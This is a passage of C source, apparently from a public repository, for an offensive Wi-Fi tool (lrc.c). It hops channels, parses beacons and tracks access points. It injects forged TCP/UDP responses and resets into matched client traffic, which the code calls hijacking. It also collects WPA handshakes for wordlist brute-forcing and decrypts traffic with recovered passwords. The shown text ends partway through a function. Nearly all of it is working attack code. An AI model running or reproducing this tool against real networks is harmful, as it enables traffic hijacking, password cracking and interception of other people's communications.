-
Notifications
You must be signed in to change notification settings - Fork 12
/
lrc.c
1487 lines (1221 loc) · 46 KB
/
lrc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <stdint.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/nameser.h>
#include <resolv.h>
#include "lrc.h"
#include "logger.h"
#include "matchers.h"
#include "ap.h"
#include "tqueue.h"
#include "crypto.h"
int dead = 0;
int debugged = 0;
int bg_chans [] = {
1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0
};
int a_chans [] = {
36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108,
112, 116, 120, 124, 128, 132, 136, 140, 149,
153, 157, 161, 184, 188, 192, 196, 200, 204,
208, 212, 216,0
};
void usage(char *argv[])
{
printf("usage: %s [options]", argv[0]);
printf("\nInterface options:\n");
printf("\t-i, --interface <iface>\t\t: sets the listen/inject interface\n");
printf("\t-m, --monitor <iface>\t\t: sets the monitor interface\n");
printf("\t-j, --inject <iface>\t\t: sets the inject interface\n");
printf("\t-c, --channels <channels>\t: sets the channels for hopping(or not, if fix defined)\n");
printf("\t-t, --timeout <time>\t\t: hop sleep time in milliseconds(default = 5 sec/5000 millisec)\n");
printf("\t-k, --matchers <file>\t\t: file describing configuration for matchers\n");
printf("\t-l, --log <file>\t\t: log to this file instead of stdout\n");
printf("\t-w, --wordlist <file>\t\t: specify password dictionary and WPA/WPA2/WEP automated password cracking and injecting\n");
printf("\t-u, --mtu <mtu>\t\t\t: set MTU size(default 1400)\n");
printf("\t-d, --debug\t\t\t: enable debug messages\n");
printf("\n");
printf("Example(for single interface): %s -i wlan0 -c 1,6,11\n", argv[0]);
printf("Example(for dual interfaces): %s -m wlan0 -j wlan1 -c 1-6,8\n", argv[0]);
printf("Example(very fast channel hop on BG band): %s --interface wlan0 --band bg --timeout 200\n", argv[0]);
printf("Example(WPA/WEP inject): %s --interface wlan0 --channels 6 --wordlist <wordlist>\n", argv[0]);
printf("\n");
exit(0);
}
void sig_handler(int sig)
{
signal(sig, SIG_IGN);
switch(sig) {
case SIGINT:
dead = 1;
(void) fprintf(stderr, "Got Ctrl+C, ending threads...%d sec alarm time\n", ALRM_TIME);
signal(SIGALRM, sig_handler);
alarm(ALRM_TIME);
break;
case SIGALRM:
exit(0);
break;
}
}
void hexdump (void *addr, u_int len)
{
u_int i;
u_char buff[17];
u_char *pc = addr;
// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0) {
printf(" %s\n", buff);
}
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf (" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
buff[i % 16] = '.';
} else {
buff[i % 16] = pc[i];
}
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf (" ");
i++;
}
// And print the final ASCII bit.
printf (" %s\n", buff);
}
int build_tcp_packet(struct iphdr *ip_hdr, struct tcphdr *tcp_hdr, u_char *data, u_int datalen, u_int tcpflags, u_int seqnum, struct ctx *ctx)
{
// libnet wants the data in host-byte-order
ctx->lnet_p_tcp = libnet_build_tcp(
ntohs(tcp_hdr->dest), // source port
ntohs(tcp_hdr->source), // dest port
seqnum, // sequence number
ntohl(tcp_hdr->seq) + ( ntohs(ip_hdr->tot_len) - ip_hdr->ihl * 4 - tcp_hdr->doff * 4 ), // ack number
tcpflags, // tcp flags
0xffff, // window size
0, // checksum, libnet will autofill it
0, // urg ptr
LIBNET_TCP_H + datalen, // total length of the TCP packet
(u_char *)data, // response
datalen, // response_length
ctx->lnet, // libnet_t pointer
ctx->lnet_p_tcp // protocol tag
);
if(ctx->lnet_p_tcp == -1) {
logger(WARN, "libnet_build_tcp returns error: %s", libnet_geterror(ctx->lnet));
return 0;
}
ctx->lnet_p_ip = libnet_build_ipv4(
LIBNET_TCP_H + LIBNET_IPV4_H + datalen, // total length of IP packet
0, // TOS bits, type of service
1, // IPID identification number (need to calculate)
0, // fragmentation offset
0xff, // TTL time to live
IPPROTO_TCP, // upper layer protocol
0, // checksum, libnet will autofill it
ip_hdr->daddr, // source IPV4 address
ip_hdr->saddr, // dest IPV4 address
NULL, // response, no payload
0, // response length
ctx->lnet, // libnet_t pointer
ctx->lnet_p_ip // protocol tag
);
if(ctx->lnet_p_ip == -1) {
logger(WARN, "libnet_build_ipv4 returns error: %s", libnet_geterror(ctx->lnet));
return 0;
}
return 1;
}
int build_udp_packet(struct iphdr *ip_hdr, struct udphdr *udp_hdr, u_char *data, u_int datalen, struct ctx *ctx)
{
ctx->lnet_p_udp = libnet_build_udp(
ntohs(udp_hdr->source), // source port
ntohs(udp_hdr->dest), // destination port
LIBNET_UDP_H + datalen, // total length of the UDP packet
0, // libnet will autofill the checksum
NULL, // payload
0, // payload length
ctx->lnet, // pointer to libnet context
ctx->lnet_p_udp // protocol tag for udp
);
if(ctx->lnet_p_udp == -1) {
logger(WARN, "libnet_build_tcp returns error: %s", libnet_geterror(ctx->lnet));
return 0;
}
ctx->lnet_p_ip = libnet_build_ipv4(
LIBNET_UDP_H + LIBNET_IPV4_H + datalen, // total length of IP packet
0, // TOS bits, type of service
1, // IPID identification number (need to calculate)
0, // fragmentation offset
0xff, // TTL time to live
IPPROTO_UDP, // upper layer protocol
0, // checksum, libnet will autofill it
ip_hdr->daddr, // source IPV4 address
ip_hdr->saddr, // dest IPV4 address
NULL, // response, no payload
0, // response length
ctx->lnet, // libnet_t pointer
ctx->lnet_p_ip // protocol tag=0, build new
);
if(ctx->lnet_p_ip == -1) {
logger(WARN, "libnet_build_ipv4 returns error: %s", libnet_geterror(ctx->lnet));
return 0;
}
return 1;
}
u_short fnseq(u_short fn, u_short seq)
{
u_short r = 0;
r = fn;
r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
return htole16(r);
}
int build_dot11_packet(u_char *l2data, u_int l2datalen, u_char *wldata, u_int *wldatalen, struct ieee80211_frame *wh_old, struct ctx *ctx)
{
struct ieee80211_frame *wh = (struct ieee80211_frame*) wldata;
u_char *data = (u_char*) (wh+1);
u_short *sp;
*wldatalen = sizeof(struct ieee80211_frame);
/* duration */
sp = (u_short*) wh->i_dur;
//*sp = htole16(32767);
*sp = htole16(48); // set duration to 48 microseconds. Why 48? Cause we do not care about this field :)
/* seq */
sp = (u_short*) wh->i_seq;
*sp = fnseq(0, 1337); // We do not care about this field value too. But maybe we need?
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS;
memcpy(wh->i_addr1, wh_old->i_addr2, 6);
memcpy(wh->i_addr2, wh_old->i_addr1, 6);
memcpy(wh->i_addr3, wh_old->i_addr3, 6);
// LLC IP fill
memcpy(data, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
data += 8;
*wldatalen +=8;
memcpy(data, l2data, l2datalen);
*wldatalen += l2datalen;
return 1;
}
int send_packet(struct ieee80211_frame *wh, struct ctx *ctx)
{
u_char *l2data;
u_int l2datalen;
u_char wldata[2048];
u_int wldatalen;
int rc;
memset(wldata, 0, sizeof(wldata));
// cull_packet will dump the packet (with correct checksums) into a
// buffer for us to send via the raw socket. memory must be freed after that
if(libnet_adv_cull_packet(ctx->lnet, &l2data, &l2datalen) == -1) {
logger(WARN, "libnet_adv_cull_packet returns error: %s", libnet_geterror(ctx->lnet));
return 0;
}
if(build_dot11_packet(l2data, l2datalen, wldata, &wldatalen, wh, ctx)) {
rc = wi_write(ctx->wi_inj, wldata, wldatalen, NULL);
if(rc == -1) {
printf("wi_write() error\n");
}
}
libnet_adv_free_packet(ctx->lnet, l2data);
return 1;
}
void clear_packet(struct ctx *ctx)
{
if(ctx->lnet) {
libnet_clear_packet(ctx->lnet);
ctx->lnet_p_ip = LIBNET_PTAG_INITIALIZER;
ctx->lnet_p_tcp = LIBNET_PTAG_INITIALIZER;
ctx->lnet_p_udp = LIBNET_PTAG_INITIALIZER;
}
}
void ip_packet_process(const u_char *dot3, u_int dot3_len, struct ieee80211_frame *wh, struct ctx *ctx)
{
struct iphdr *ip_hdr;
struct tcphdr *tcp_hdr;
struct udphdr *udp_hdr;
struct icmphdr *icmp_hdr;
u_char *tcp_data;
u_int tcp_datalen;
u_char *udp_data;
u_int udp_datalen;
struct matcher_entry *matcher;
char dst_ip[16];
char src_ip[16];
int frag_offset;
int frag_len;
u_int tcpseqnum;
u_int tcpflags;
/* Calculate the size of the IP Header. ip_hdr->ihl contains the number of 32 bit
words that represent the header size. Therefore to get the number of bytes
multiple this number by 4 */
ip_hdr = (struct iphdr *) (dot3);
memcpy(&src_ip, inet_ntoa(*((struct in_addr *) &ip_hdr->saddr)), sizeof(src_ip));
memcpy(&dst_ip, inet_ntoa(*((struct in_addr *) &ip_hdr->daddr)), sizeof(dst_ip));
logger(DBG, "IP id:%d tos:0x%x version:%d iphlen:%d dglen:%d protocol:%d ttl:%d src:%s dst:%s", ntohs(ip_hdr->id), ip_hdr->tos, ip_hdr->version, ip_hdr->ihl*4, ntohs(ip_hdr->tot_len), ip_hdr->protocol, ip_hdr->ttl, src_ip, dst_ip);
if(ntohs(ip_hdr->tot_len) > dot3_len) {
logger(DBG, "Ambicious len in IP header, skipping");
return;
}
switch (ip_hdr-> protocol) {
case IPPROTO_TCP:
/* Calculate the size of the TCP Header. tcp->doff contains the number of 32 bit
words that represent the header size. Therfore to get the number of bytes
multiple this number by 4 */
tcp_hdr = (struct tcphdr *) (dot3+sizeof(struct iphdr));
tcp_datalen = ntohs(ip_hdr->tot_len) - (ip_hdr->ihl * 4) - (tcp_hdr->doff * 4);
logger(DBG, "TCP src_port:%d dest_port:%d doff:%d datalen:%d win:0x%x ack:%l seq:%d", ntohs(tcp_hdr->source), ntohs(tcp_hdr->dest), tcp_hdr->doff*4, tcp_datalen, ntohs(tcp_hdr->window), ntohl(tcp_hdr->ack_seq), ntohs(tcp_hdr->seq));
logger(DBG, "TCP FLAGS %c%c%c%c%c%c",
(tcp_hdr->urg ? 'U' : '*'),
(tcp_hdr->ack ? 'A' : '*'),
(tcp_hdr->psh ? 'P' : '*'),
(tcp_hdr->rst ? 'R' : '*'),
(tcp_hdr->syn ? 'S' : '*'),
(tcp_hdr->fin ? 'F' : '*'));
// make sure the packet isn't empty..
if(tcp_datalen <= 0) {
logger(DBG, "TCP datalen <= 0, ignoring it");
break;
}
tcp_data = (u_char*) tcp_hdr + tcp_hdr->doff * 4;
if((matcher = matchers_get_response(tcp_data, tcp_datalen, ctx, MATCHER_PROTO_TCP, ntohs(tcp_hdr->source), ntohs(tcp_hdr->dest)))) {
logger(INFO, "Matched %s TCP packet %s:%d -> %s:%d len:%d", matcher->name, src_ip, ntohs(tcp_hdr->source), dst_ip, ntohs(tcp_hdr->dest), tcp_datalen);
tcpseqnum = ntohl(tcp_hdr->ack_seq);
for(frag_offset = 0; frag_offset < matcher->response_len; frag_offset += ctx->mtu) {
frag_len = matcher->response_len - frag_offset;
if(frag_len > ctx->mtu) {
frag_len = ctx->mtu;
}
if((frag_offset + ctx->mtu) > matcher->response_len) {
tcpflags = TH_PUSH | TH_ACK;
} else {
tcpflags = TH_ACK;
}
if(!build_tcp_packet(ip_hdr, tcp_hdr, matcher->response + frag_offset, frag_len, tcpflags, tcpseqnum, ctx)) {
logger(WARN, "Fail to build TCP packet");
// clear packet?
break;
}
tcpseqnum = tcpseqnum + frag_len;
if(!send_packet(wh, ctx)) {
logger(WARN, "Cannot inject TCP packet");
}
}
logger(INFO, "TCP packet successfully injected. response_len: %d", matcher->response_len);
// reset packet handling
if(matcher->options & MATCHER_OPTION_RESET) {
if(!build_tcp_packet(ip_hdr, tcp_hdr, NULL, 0, TH_RST | TH_ACK, tcpseqnum, ctx)) {
logger(WARN, "Fail to build TCP reset packet");
// clear packet?
break;
}
if(!send_packet(wh, ctx)) {
logger(WARN, "Cannot inject TCP reset packet");
}
logger(INFO, "TCP reset packet successfully injected");
}
clear_packet(ctx);
}
break;
case IPPROTO_UDP:
udp_hdr = (struct udphdr *) (dot3+sizeof(struct iphdr));
udp_datalen = ntohs(udp_hdr->len) - sizeof(struct udphdr);
logger(DBG, "UDP src_port:%d dst_port:%d len:%d", ntohs(udp_hdr->source), ntohs(udp_hdr->dest), udp_datalen);
// make sure the packet isn't empty..
if(udp_datalen <= 0) {
logger(DBG, "UDP datalen <= 0, ignoring it");
break;
}
udp_data = (u_char*) udp_hdr + sizeof(struct udphdr);
if((matcher = matchers_get_response(udp_data, udp_datalen, ctx, MATCHER_PROTO_UDP, ntohs(udp_hdr->source), ntohs(udp_hdr->dest)))) {
logger(INFO, "Matched %s UDP packet %s:%d -> %s:%d len:%d", matcher->name, src_ip, ntohs(udp_hdr->source), dst_ip, ntohs(udp_hdr->dest), udp_datalen);
for(frag_offset = 0; frag_offset < matcher->response_len; frag_offset += ctx->mtu) {
frag_len = matcher->response_len - frag_offset;
if(frag_len > ctx->mtu) {
frag_len = ctx->mtu;
}
if(!build_udp_packet(ip_hdr, udp_hdr, matcher->response + frag_offset, frag_len, ctx)) {
logger(WARN, "Fail to build UDP packet");
// clear packet?
break;
}
if(!send_packet(wh, ctx)) {
logger(WARN, "Cannot inject UDP packet");
}
}
logger(INFO, "UDP packet successfully injected. response_len: %d", matcher->response_len);
// UDP "reset" packet handling, just send an empty UDP packet
if(matcher->options & MATCHER_OPTION_RESET) {
logger(INFO, "UDP reset packet sending");
if(!build_udp_packet(ip_hdr, udp_hdr, NULL, 0, ctx)) {
logger(WARN, "Fail to build UDP reset packet");
// clear packet?
break;
}
if(!send_packet(wh, ctx)) {
logger(WARN, "Cannot inject UDP reset packet");
}
logger(INFO, "UDP reset packet successfully injected");
}
clear_packet(ctx);
}
// do nothing
break;
case IPPROTO_ICMP:
icmp_hdr = (struct icmphdr *) (dot3+sizeof(struct iphdr));
//memcpy(&id, (u_char*)icmphdr+4, 2);
//memcpy(&seq, (u_char*)icmphdr+6, 2);
logger(DBG, "ICMP type:%d code:%d", icmp_hdr->type, icmp_hdr->code);
break;
}
}
int parse_rsn(u_char *p, int len, int rsn)
{
int c;
u_char *start = p;
int psk = 0;
if (len < 2) {
return 0;
}
if (memcmp(p, "\x01\x00", 2) != 0) {
return 0;
}
if (len < 8) {
return 0;
}
p += 2;
p += 4;
/* cipher */
c = le16toh(*((uint16_t*) p));
p += 2 + 4 * c;
if (len < ((p - start) + 2)) {
return 0;
}
/* auth */
c = le16toh(*((uint16_t*) p));
p += 2;
if (len < ((p - start) + c * 4)) {
return 0;
}
while (c--) {
if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) {
psk++;
}
if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) {
psk++;
}
p += 4;
}
if (!psk) {
return CRYPT_TYPE_WPA_MGT;
} else {
return CRYPT_TYPE_WPA;
}
}
int parse_elem_vendor(u_char *e, int l)
{
struct ieee80211_ie_wpa *wpa = (struct ieee80211_ie_wpa*) e;
if (l < 5) {
return 0;
}
if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) {
return 0;
}
if (l < 8) {
return 0;
}
if (wpa->wpa_type != WPA_OUI_TYPE) {
return 0;
}
return parse_rsn((u_char*) &wpa->wpa_version, l - 6, 0);
}
void dot11_beacon_process(struct ctx *ctx, struct rx_info *rxi, struct ieee80211_frame *wh, int len)
{
ieee80211_mgt_beacon_t wb = (ieee80211_mgt_beacon_t) (wh+1);
int fix_len = 12; // fixed parameters length
int rc;
int ie_type;
u_char ie_len;
char ssid[MAX_IE_ELEMENT_SIZE];
int channel = rxi->ri_channel;
int crypt_type = CRYPT_TYPE_OPEN;
int got_ssid = 0;
u_char *bssid = wh->i_addr3;
// skip 802.11 header len
len -= sizeof(*wh);
if((IEEE80211_BEACON_CAPABILITY(wb) & IEEE80211_CAPINFO_PRIVACY)) {
crypt_type = CRYPT_TYPE_WEP;
}
// skip fixed parameters(12 bytes)
wb += fix_len;
len -= fix_len;
if(len < 0) {
logger(WARN, "Too short beacon frame");
return;
}
// let`s parse tagged params
while (len > 1) {
ie_type = wb[0];
ie_len = wb[1];
switch (ie_type) {
case IEEE80211_ELEMID_SSID:
if (!got_ssid) {
if(ie_len > 0) {
strncpy(ssid, (char*) &wb[2], ie_len);
ssid[ie_len] = '\0';
} else { //hidden ssid
ssid[0] = '\0';
}
got_ssid = 1;
}
break;
// This code sometimes work, sometimes not. 5Gz beacons doesn`t contain channel info. Better to use rxi->ri_channel
/*
case IEEE80211_ELEMID_DSPARMS:
if (!got_channel)
channel = wb[2];
got_channel = 1;
break;
*/
// sometimes, encryption information contains in vendor field
case IEEE80211_ELEMID_VENDOR:
if((rc = parse_elem_vendor(wb, ie_len + 2))) {
crypt_type = rc;
}
break;
// but often in RSN field
case IEEE80211_ELEMID_RSN:
if((rc = parse_rsn(&wb[2], ie_len, 1))) {
crypt_type = rc;
}
break;
}
// skip to the next tag
wb += 2 + ie_len;
len -= 2 + ie_len;
}
if (got_ssid) {
logger(DBG, "SSID: %s Channel: %d", ssid, channel);
switch(crypt_type) {
case CRYPT_TYPE_WEP:
logger(DBG, "Crypt: WEP");
break;
case CRYPT_TYPE_WPA:
logger(DBG, "Crypt: WPA");
break;
case CRYPT_TYPE_WPA_MGT:
logger(DBG, "Crypt: WPA-MGT");
break;
case CRYPT_TYPE_OPEN:
logger(DBG, "Crypt: OPEN");
break;
default:
logger(WARN, "Cannot determine crypt type");
break;
}
ap_add(ctx, bssid, ssid, crypt_type, channel);
}
}
void dot11_mgt_process(struct ctx *ctx, struct rx_info *rxi, struct ieee80211_frame *wh, int len)
{
if (len < (int) sizeof(*wh)) {
logger(DBG, "802.11 too short management packet: %d, skipping it", len);
return;
}
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
// Beacons and Probe responses contains SSID and other useful information about AP
case IEEE80211_FC0_SUBTYPE_BEACON:
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
logger(DBG, "Management beacon or probe response frame");
dot11_beacon_process(ctx, rxi, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_AUTH:
logger(DBG, "Management auth frame");
break;
case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
// TODO extract info from this frames. They can be useful.
logger(DBG, "Management probe request or association frame.");
break;
case IEEE80211_FC0_SUBTYPE_DEAUTH:
logger(DBG, "Management deauth frame");
break;
case IEEE80211_FC0_SUBTYPE_DISASSOC:
logger(DBG, "Management dissassociation frame");
break;
case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
logger(DBG, "Management association response frame");
break;
default:
logger(DBG, "Unknown mgmt subtype 0x%02X", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
break;
}
}
void dot11_ctl_process(struct ctx *ctx, struct rx_info *rxi, struct ieee80211_frame *wh, int len)
{
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
case IEEE80211_FC0_SUBTYPE_ACK:
logger(DBG, "Control ask frame");
break;
case IEEE80211_FC0_SUBTYPE_RTS:
case IEEE80211_FC0_SUBTYPE_CTS:
case IEEE80211_FC0_SUBTYPE_PS_POLL:
case IEEE80211_FC0_SUBTYPE_CF_END:
case IEEE80211_FC0_SUBTYPE_ATIM:
logger(DBG, "Control rts/cts/ps/cf/atim frame");
break;
default:
logger(DBG, "Unknown ctl subtype %x", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
break;
}
}
void dot11_data_process(struct ctx *ctx, struct rx_info *rxi, struct ieee80211_frame *wh, int len, int cleared)
{
u_char *p = (u_char*) (wh + 1);
int protected = wh->i_fc[1] & IEEE80211_FC1_WEP;
int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
u_char *bssid = NULL, *sta_mac = NULL;
int fromds = wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS;
int tods = wh->i_fc[1] & IEEE80211_FC1_DIR_TODS;
struct ieee80211_frame *nwh;
int nlen = len;
struct ap_info *ap_cur = NULL;
struct sta_info *sta_cur = NULL;
// Skip 802.11 header
len -= sizeof(*wh);
/*
+---+---+------------+------------+-------+-------+
|Frm|To | Address1 | Address2 | Addr. | Addr. |
|DS |DS | | | 3 | 4 |
+---+---+------------+------------+-------+-------+
| 0 | 0 | RA = DA | TA = SA | BSSID | N/A |
| 0 | 1 | RA = BSSID | TA = SA | DA | N/A |
| 1 | 0 | RA = DA | TA = BSSID | SA | N/A |
| 1 | 1 | RA | TA | DA | SA |
+---+---+------------+------------+-------+-------+
*/
if(!fromds && !tods) {
return;
}
if(!fromds && tods) {
sta_mac = wh->i_addr2;
bssid = wh->i_addr1;
}
if(fromds && !tods) {
sta_mac = wh->i_addr1;
bssid = wh->i_addr2;
}
if(fromds && tods) {
return;
}
if(cleared) {
// Packet was decrypted previously
}
// Skip QOS header
switch(stype) {
case IEEE80211_FC0_SUBTYPE_QOS:
p += 2;
len -= 2;
break;
case IEEE80211_FC0_SUBTYPE_DATA:
break;
case IEEE80211_FC0_SUBTYPE_QOS_NULL:
case IEEE80211_FC0_SUBTYPE_CF_ACK:
case IEEE80211_FC0_SUBTYPE_CF_POLL:
case IEEE80211_FC0_SUBTYPE_CF_ACPL:
break;
default:
return;
}
if(!(ap_cur = ap_lookup(ctx, bssid))) {
logger(DBG, "Cannot found AP [%02X:%02X:%02X:%02X:%02X:%02X] in cache, skipping", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
return;
}
if(!(sta_cur = sta_lookup(ctx, sta_mac))) {
sta_cur = sta_add(ctx, sta_mac);
sta_cur->ap = ap_cur;
}
// Not protected packets(without WEP flag set)
if (!protected) {
// Check we have LLC header(if exist)
if(len >= LLC_SIZE && (p[0] == 0xaa && p[1] == 0xaa && p[2] == 0x03)) {
//802.1x auth LLC
if(memcmp(p, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", LLC_SIZE) == 0) {
logger(INFO, "We have EAPOL packet from STA: [%02X:%02X:%02X:%02X:%02X:%02X] associating with AP: %s [%02X:%02X:%02X:%02X:%02X:%02X]",sta_cur->sta_mac[0], sta_cur->sta_mac[1], sta_cur->sta_mac[2], sta_cur->sta_mac[3], sta_cur->sta_mac[4], sta_cur->sta_mac[5], ap_cur->essid, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
p += LLC_SIZE;
len -= LLC_SIZE;
if(len > 0 && (ctx->pw_fn != NULL) && (sta_cur->wpa.state != EAPOL_STATE_PROCESSING)) {
eapol_wpa_process(p, len, sta_cur);
if (sta_cur->wpa.state == EAPOL_STATE_COMPLETE) {
logger(INFO, "WPA handshake collected for STA [%02X:%02X:%02X:%02X:%02X:%02X] to AP %s", sta_cur->sta_mac[0], sta_cur->sta_mac[1], sta_cur->sta_mac[2], sta_cur->sta_mac[3], sta_cur->sta_mac[4], sta_cur->sta_mac[5], ap_cur->essid);
bzero(sta_cur->wpa.ptk, sizeof(sta_cur->wpa.ptk));
memcpy (sta_cur->wpa.stmac, sta_cur->sta_mac, 6);
if(sta_cur->ap->password == NULL && sta_cur->ap->crypt_type == CRYPT_TYPE_WPA) {
thread_queue_add(ctx->brute_queue, sta_cur, BRUTE_STA);
sta_cur->wpa.state = EAPOL_STATE_PROCESSING;
} else {
logger(INFO, "No need to brute that handshake");
}
return;
}
}
}
//IP layer LLC, so try to hijack it
if(memcmp(p, "\xaa\xaa\x03\x00\x00\x00\x08\x00", LLC_SIZE) == 0) {
p += LLC_SIZE;
len -= LLC_SIZE;
// We interested only in STA request packets
if(fromds && !tods) {
return;
}
if(len > 0) {
ip_packet_process(p, len, wh, ctx);
return;
}
}
}
}
if(protected) {
//logger(INFO, "We have protected packet");
// Remove CCMP && TKIP init vector from protected packet
if (len >= 8) {
p += 8;
len -= 8;
}
// We interested only in STA request packets
if(fromds && !tods) {
return;
}
if((sta_cur->ap->password != NULL) && (sta_cur->wpa.state != EAPOL_STATE_PROCESSING)) {
nwh = malloc(nlen*2);
memcpy(nwh, wh, nlen);
if(decrypt_wpa((u_char *)nwh, nlen, sta_cur, sta_cur->ap->password, sta_cur->ap->essid, sta_cur->ap->bssid)) {
logger(INFO, "Packet was decrypted");
//dot11_data_process(ctx, nwh, nlen, 1);
} else {
logger(WARN, "FAIL to decrypt packet");
}
free(nwh);
if(sta_cur->wpa.state != EAPOL_STATE_CAN_RENEW) {
sta_cur->wpa.state = EAPOL_STATE_CAN_RENEW;
}
return;
}
}
}
void dot11_process(u_char *pkt, int len, struct rx_info *rxi, struct ctx *ctx)
{
struct ieee80211_frame *wh = (struct ieee80211_frame *) pkt;
int protected = wh->i_fc[1] & IEEE80211_FC1_WEP;
logger(DBG, "-------------------------");
logger(DBG, "Radiotap data: ri_channel: %d, ri_power: %d, ri_noise: %d, ri_rate: %d", rxi->ri_channel, rxi->ri_power, rxi->ri_noise, rxi->ri_rate);
logger(DBG, "IEEE802.11 frame type:0x%02X subtype:0x%02X protected:%s from_ds:%d to_ds:%d receiver:[%02X:%02X:%02X:%02X:%02X:%02X] transmitter:[%02X:%02X:%02X:%02X:%02X:%02X] bssid:[%02X:%02X:%02X:%02X:%02X:%02X]",
wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK,
wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK,
protected ? "y":"n",
